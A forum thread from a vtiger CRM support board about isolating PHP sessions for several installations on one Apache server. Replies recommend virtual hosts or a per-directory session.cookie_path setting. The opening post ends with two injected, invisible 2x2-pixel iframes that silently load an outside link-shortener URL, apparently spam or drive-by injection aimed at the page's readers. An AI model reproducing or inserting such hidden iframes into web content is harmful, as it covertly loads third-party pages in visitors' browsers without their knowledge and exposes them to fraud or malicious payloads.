Multiple installations on the same apache engine

Hi.

I have managed how to install multiple copies of the vtigercrm in one apache server, and every instance has now its own db and settings.

The problems arise with the sessions.

When i type in my browser <!-- m --><a class="postlink" href="xttp://vtigerSite/instance1">xttp://vtigerSite/instance1</a><!-- m --> it goes on the first copy of my vtiger and le me log in.

When in another tab or window i type <!-- m --><a class="postlink" href="xttp://vtigerSite/instance2">xttp://vtigerSite/instance2</a><!-- m --> obviously it read a session variable shared by the first instance.

How can i avoid this behavior and to force different directories to have separated sessions ? <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 8 Comments sorted by Votes Date Added
  • hi,

    the cookies are associated to the domain. so what we do is create virtualhosts in apache for each of our installations.

    joe
    tsolucio
  • but i have only one domain ... how can i ask for multiple domain or use some tricks ?
  • hi,

    i said "virtualhosts", these are different names associated to one ip. you will have to read the apache manual and learn how to configure it.

    if you need help send me a message and we can configure it for you.

    regards, joe
    tsolucio
  • --> script to create multiple instances of vtiger

    some good tips but from older version...


    regards,
    ln
  • the problem is that php by default stores session cookie (phpsessid) for the whole domain. this makes sessions to be domain-global.
    the solution is very simple. one has to set up the php variable session.cookie_path for each installation. i did this by placing a php.ini file in each installation directory.

    /vtiger-installation1/php.ini:
    ---
    session.cookie_path = "/vtiger-installation1/"
    ---

    /vtiger-installation2/php.ini:
    ---
    session.cookie_path = "/vtiger-installation2/"
    ---

    as a result we get multiple phpsessid cookies, one for each installation.
  • by default php has domain-global sessions. it is very easy to have php sessions on a per-directory basis. one has to set session.cookie_path variable for each installation of vtiger. i did it by placing a php.ini file in each vtiger installation directory.
    for your configuration the solution would be two files:

    /instance1/php.ini
    ---
    session.cookie_path = "/instance1/"
    ---

    /instance2/php.ini
    ---
    session.cookie_path = "/instance2/"
    ---

    this will result in having a separate phpsessid cookie for each vtiger installation.
  • i have placed a php.ini file in the dir but nothing happens. what makes vtiger look at the php.ini if there is one in place in xampp/php? if anyone can help out it would be greatly appreciated :o)
Sign In or Register to comment.